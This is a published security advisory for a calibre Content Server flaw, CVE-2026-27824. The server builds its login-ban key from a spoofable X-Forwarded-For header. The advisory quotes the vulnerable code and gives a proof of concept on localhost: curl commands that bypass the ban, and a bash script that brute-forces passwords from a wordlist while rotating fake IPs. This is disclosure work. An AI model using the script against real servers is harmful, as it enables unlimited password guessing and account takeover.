Skip to content

IP Ban Bypass via X-Forwarded-For Header Spoofing

Moderate
kovidgoyal published GHSA-vhxc-r7v8-2xrw Feb 27, 2026

Package

calibre

Affected versions

<= 9.3.1

Patched versions

9.4.0

Description

Summary

The calibre Content Server's brute-force protection mechanism uses a ban key derived from both remote_addr and the X-Forwarded-For header. Since the X-Forwarded-For header is read directly from the HTTP request without any validation or trusted-proxy configuration, an attacker can bypass IP-based bans by simply changing or adding this header, rendering the brute-force protection completely ineffective.

Details

X-Forwarded-For is read without validation:

src/calibre/srv/http_request.py line 343:

self.forwarded_for = inheaders.get('X-Forwarded-For')

The header value is accepted unconditionally from any client. There is no check for whether the request arrived through a trusted reverse proxy. Any client can set this header to any arbitrary value.

Ban key includes the spoofable header:

src/calibre/srv/auth.py lines 270-273:

def do_http_auth(self, data, endpoint):
    ban_key = data.remote_addr, data.forwarded_for  # Tuple includes spoofable XFF
    if self.ban_list.is_banned(ban_key):
        raise HTTPForbidden('Too many login attempts',
            log=f'Too many login attempts from: {ban_key if data.forwarded_for else data.remote_addr}')

The ban key is a tuple of (remote_addr, forwarded_for). Since forwarded_for comes directly from the client-controlled X-Forwarded-For header, changing this header value produces a different ban key. This means:

  • (127.0.0.1, None) — banned after 3 failures
  • (127.0.0.1, "10.0.0.1") — new key, not banned
  • (127.0.0.1, "10.0.0.2") — new key, not banned
  • etc.

The BanList implementation at src/calibre/srv/auth.py lines 26-62 correctly tracks failures per key, but since the key itself is spoofable, the tracking is meaningless.

Failed login also records to the spoofable key:

src/calibre/srv/auth.py lines 291-292 and 303-304:

log_msg = f'Failed login attempt from: {data.remote_addr}'
self.ban_list.failed(ban_key)  # Records failure against spoofable key

PoC

Prerequisites:

  • calibre 9.3.1 installed
  • calibre Content Server running with authentication and ban settings enabled

Step 1: Set up authenticated server

# Create user database
printf '1\ntestuser\ntestpass123\ntestpass123\nn\n4\n' | \
  calibre-server --manage-users --userdb /tmp/calibre-users.db

# Start server with auth and banning (ban after 3 failures, ban for 5 minutes)
calibre-server --port 8091 \
  --enable-auth --userdb /tmp/calibre-users.db \
  --ban-for 5 --ban-after 3 \
  /tmp/calibre-test-library

Step 2: Trigger a ban with 3 failed logins

for i in 1 2 3; do
  curl -s -o /dev/null -w "Attempt $i: %{http_code}\n" \
    --digest -u testuser:wrongpass http://localhost:8091/
done

Output:

Attempt 1: 401
Attempt 2: 401
Attempt 3: 401

Step 3: Confirm the ban is active

curl -s -o /dev/null -w "Banned (even with correct password): %{http_code}\n" \
  --digest -u testuser:testpass123 http://localhost:8091/

Output:

Banned (even with correct password): 403

Step 4: Bypass the ban with X-Forwarded-For

curl -s -o /dev/null -w "With XFF bypass: %{http_code}\n" \
  -H "X-Forwarded-For: 10.10.10.10" \
  --digest -u testuser:testpass123 http://localhost:8091/

Output:

With XFF bypass: 200

The ban is immediately bypassed. Authentication succeeds.

Step 5: Automated brute-force with unlimited attempts

#!/bin/bash
# Brute-force calibre server with ban bypass
TARGET="http://localhost:8091/"
USERNAME="testuser"
COUNTER=0

while IFS= read -r password; do
  COUNTER=$((COUNTER + 1))
  # Generate unique X-Forwarded-For for each attempt
  FAKE_IP="10.$((COUNTER / 65536 % 256)).$((COUNTER / 256 % 256)).$((COUNTER % 256))"

  CODE=$(curl -s -o /dev/null -w "%{http_code}" \
    -H "X-Forwarded-For: $FAKE_IP" \
    --digest -u "$USERNAME:$password" "$TARGET")

  if [ "$CODE" = "200" ]; then
    echo "[+] Password found: $password (attempt #$COUNTER)"
    exit 0
  fi
done < /path/to/wordlist.txt

echo "[-] Password not found"

This script can make unlimited login attempts without ever being banned, as each attempt uses a different X-Forwarded-For value.

Impact

Type: Insufficient Anti-Automation / Authentication Bypass (CWE-307, CWE-346)

An attacker can:

  • Bypass brute-force protection entirely by rotating the X-Forwarded-For header value on each request
  • Perform unlimited password guessing attempts against any user account
  • Compromise user accounts on publicly exposed calibre servers
  • Enumerate valid usernames by observing response differences without being banned

The --ban-after and --ban-for command-line options, which are intended to provide brute-force protection, are rendered completely ineffective. Users who believe they are protected by these settings are not.

This is particularly dangerous for calibre servers exposed to the internet, where brute-force protection is the primary defense against credential stuffing and password guessing attacks.

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
Low
Integrity
None
Availability
None

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

CVE ID

CVE-2026-27824

Weaknesses

No CWEs

Credits